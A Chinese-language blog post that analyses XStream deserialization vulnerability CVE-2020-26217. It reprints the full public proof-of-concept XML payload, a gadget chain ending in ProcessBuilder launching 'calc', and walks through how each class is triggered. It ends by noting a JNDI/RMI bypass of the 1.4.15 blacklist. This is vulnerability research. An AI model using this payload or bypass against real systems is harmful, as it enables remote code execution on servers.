0x00 Background

XStream 这个组件,主要功能是将 Java 对象和 XML 进行互相转换,也就涉及到了序列化和反序列化。之前一直知道这个组件存在反序列化的 RCE 漏洞,但是一直没有分析过,其他网络上的分析 paper 也就是瞟了几眼。

最近在工作中遇到了这个组件,朋友告诉我扫到了一个 RCE 漏洞,修复方案是升级到最新版本,但是印象中这个组件出现过好几次反序列化的问题了。这不禁勾起了我的好奇心,你说这个东西,会像 fastjson 一样频繁出现问题吗?

0x01 XStream 101

作为一款基础的反序列化组件,我们先来看看基本用法:

package me.lightless;

import com.thoughtworks.xstream.XStream;

import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

class Foo {
    private String f1;
    public String f2;

    public void bar() {
        System.out.println(this.f1 + this.f2);
    }

    private void baz() {
        System.out.println(this.f2 + this.f1);
    }
}

public class BasicUsage {
    public static void main(String[] args) {

        String v1 = "Hello World!";

        Map<String, String> map = new HashMap<>();
        map.put("aa", "bb");
        map.put("cc", "dd");

        List<String> list1 = new ArrayList<>();
        list1.add("hello");
        list1.add("world");

        List<Map> list2 = new ArrayList<>();
        list2.add(map);
        list2.add(map);


        Foo foo = new Foo();
        foo.f2 = "f2";

        XStream xStream = new XStream();
        System.out.println(xStream.toXML(v1) + "\n===\n");
        System.out.println(xStream.toXML(map) + "\n===\n");
        System.out.println(xStream.toXML(list1) + "\n===\n");
        System.out.println(xStream.toXML(list2) + "\n===\n");
        System.out.println(xStream.toXML(foo) + "\n===\n");
    }
}

分别对 String, Map, List, Class 进行序列化,看看结果;

<string>Hello World!</string>
===
<map>
  <entry>
    <string>aa</string>
    <string>bb</string>
  </entry>
  <entry>
    <string>cc</string>
    <string>dd</string>
  </entry>
</map>
===
<list>
  <string>hello</string>
  <string>world</string>
</list>
===
<list>
  <map>
    <entry>
      <string>aa</string>
      <string>bb</string>
    </entry>
    <entry>
      <string>cc</string>
      <string>dd</string>
    </entry>
  </map>
  <map reference="../map"/>
</list>
===
<me.lightless.Foo>
  <f2>f2</f2>
</me.lightless.Foo>
===

结果还是挺易懂的:

  • Map 中的每一个键值对,都被包装在了 <entry> 标签里,第一项为 key,第二项为 value;

  • List 中的值就直接放到了 <list> 标签里;

  • Class 中的字段值,就通过同名的标签来进行赋值;

基本上 XStream 的基础用法就这些了,对于分析漏洞的 poc 来说已经足够了。

0x02 Analysis CVE-2020-26217

XStream 把所有的 CVE 都放到了他们的官网上,很容易找到需要的信息,甚至连 POC 都毫不吝啬的放出来了。这个截至目前为止最新的 RCE CVE 对应的链接:https://x-stream.github.io/CVE-2020-26217.html

完整的 PoC 如下(直接从官网复制的):

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='java.io.SequenceInputStream'>
              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                <iterator class='javax.imageio.spi.FilterIterator'>
                  <iter class='java.util.ArrayList$Itr'>
                    <cursor>0</cursor>
                    <lastRet>-1</lastRet>
                    <expectedModCount>1</expectedModCount>
                    <outer-class>
                      <java.lang.ProcessBuilder>
                        <command>
                          <string>calc</string>
                        </command>
                      </java.lang.ProcessBuilder>
                    </outer-class>
                  </iter>
                  <filter class='javax.imageio.ImageIO$ContainsFilter'>
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>start</name>
                  </filter>
                  <next/>
                </iterator>
                <type>KEYS</type>
              </e>
              <in class='java.io.ByteArrayInputStream'>
                <buf></buf>
                <pos>0</pos>
                <mark>0</mark>
                <count>0</count>
              </in>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>

这 PoC 看起来很长,而且嵌套了好多层,看起来非常的混乱,但是不急,我们把所有嵌套都折叠起来,慢慢看:

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>...</jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>

这不就是我们刚刚看过的 Map 结构嘛,这个 Map 里只有一个 <entry>,这对键值对的 keyNativeStringn 类型的一个实例,value 就是普通的 String,所以这个 PoC 有效的部分一定都是在 key 对应的 NativeString 实例中。我们再展开继续看:

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
            ...
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>

现在可以看到,NativeString 这个对象中,设置了两个字段的值,分别是 flags 字段value 字段,其中 value 字段Base64Data 这个类的实例对象,并且填充了 dataHandlerdataLen 字段;现在嵌套层数已经多起来了,我们单独展开 dataHandler 来看:

<dataHandler>
    <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
        <contentType>text/plain</contentType>
        <is class='java.io.SequenceInputStream'>
            <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                <iterator class='javax.imageio.spi.FilterIterator'>
                    <iter class='java.util.ArrayList$Itr'>
                        <cursor>0</cursor>
                        <lastRet>-1</lastRet>
                        <expectedModCount>1</expectedModCount>
                        <outer-class>
                            <java.lang.ProcessBuilder>
                                <command>
                                    <string>calc</string>
                                </command>
                            </java.lang.ProcessBuilder>
                        </outer-class>
                    </iter>
                    <filter class='javax.imageio.ImageIO$ContainsFilter'>
                        <method>
                            <class>java.lang.ProcessBuilder</class>
                            <name>start</name>
                            <parameter-types/>
                        </method>
                        <name>start</name>
                    </filter>
                    <next/>
                </iterator>
                <type>KEYS</type>
            </e>
            <in class='java.io.ByteArrayInputStream'>
                <buf></buf>
                <pos>0</pos>
                <mark>0</mark>
                <count>0</count>
            </in>
        </is>
        <consumed>false</consumed>
    </dataSource>
    <transferFlavors/>
</dataHandler>

这一段其实也没啥好说的,按照刚才的思路看就行了,无非就是设置了什么类的什么属性而已;但是到这里为止,我们也只是看懂了这个 PoC 是怎么回事,但是依然不知道他咋就能 RCE 了,那么就跟进代码里分析一下。

0x03 Dive Into XStream

详细的反序列化流程网络上已经有很多文章都分析了,有些写的很棒,我这里也就不再详细分析了,简单记录一下。

首先这个 XStream 反序列化的入口就是 fromXML 方法,传入一个 XML 字符串就可以触发反序列化流程了。

XStream xStream = new XStream();
Object x = xStream.fromXML(payload);

我们一直跟进,一直跟到 com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy#unmarshal 方法,这里的 context.start() 才真正的开始反序列化流程

image-20210219141903184

我们的 PoC 中,一开始提供的是个 Map,所以这里 convertAnother 最终会进入到 com.thoughtworks.xstream.converters.collections.MapConverter#unmarshal 这个方法里。

继续向下跟进,XStream 会反序列化出每一个 entry 的 key 和 value,然后放到 Map 中;

image-20210219143047841

关键就在这里,有一个大家都知道但是很容易被忽视的点,当向 Map 中添加数据的时候,会调用 keyhashCode 方法,回头看一下 PoC,这里的 key 是 NativeString 类的对象,所以实际上第 107 行跟进后,会调用 NativeString#hashCode 方法,我们跟进去看看 NativeString 类是怎么样的:

image-20210219144108320

很明显,我们在 PoC 中构造的 value 字段并不是 String,而是 Base64Data ,所以会调用到 Base64Data#toString 方法,继续展开看看:

image-20210219143923637

这里的 this.dataHandler 也是我们在 PoC 中精心构造过的,具体的内容可以回顾下 PoC,是一个 XmlDataSource ,然后便进入了 baos.readFrom(is) 部分, 我们在 PoC 中构造的 isSequenceInputStream,所以最终会走到 SequenceInputStream#read() 方法:

image-20210219144647046

继续跟进这里的 nextStream(),会进入到 MultiUIDefaultsEnumerator#nextElement() 方法:

image-20210219145122177

这里由于 type 字段的值我们写死了是 "KEYS",所以会进入第一个 case 的逻辑;在 PoC 中,iterator 被设置为了 javax.imageio.spi.FilterIterator,所以往这里跟:

image-20210219145623247

这里就稍微有点复杂,反正最后就调用到了 filter.filter(elt) 这个方法,elt 是啥呢?看看 PoC

image-20210219145901040

就是一个 ProcessBuilder,那么 filter.filter() 方法也就知道了,对应为 ContainsFilter#filter()方法:

image-20210219150059546

很明显,通过反射调用了 ProcessBuilder#start() 方法执行命令了。

0x04 More Thinking

快速的看完整个反序列化流程后,可以说这个漏洞没有什么难点,挺简单的,但是却非常的巧妙,从利用 Map#put 开始,到利用 NativeString#hashCode() 进入到 PoC 代码中,再到最后的 ContainsFilter#filter() 通过反射执行命令,都非常巧妙。

那么高版本是怎么修复的?简单的看了看加调试了一下,发现是通过黑名单修复的,这让我不禁想到了 fastjson,在 1.4.15 中黑名单如下:

image-20210219151439208

可以看到,我们刚才用到的一些类都被拉黑了,但是这又来了一个新的问题,这黑名单总有被绕过的一天,想想 fastjson 的黑名单,总有可乘之机,简单测试了一下,还是有办法通过 JNDI 搞一下的。

image-20210219151919358

在最新版的 1.4.15 中,已经收到了 RMI 的请求,在低版本的 JDK 中比较好利用,可以直接打,但是高版本的 JDK 利用就稍微有点麻烦了。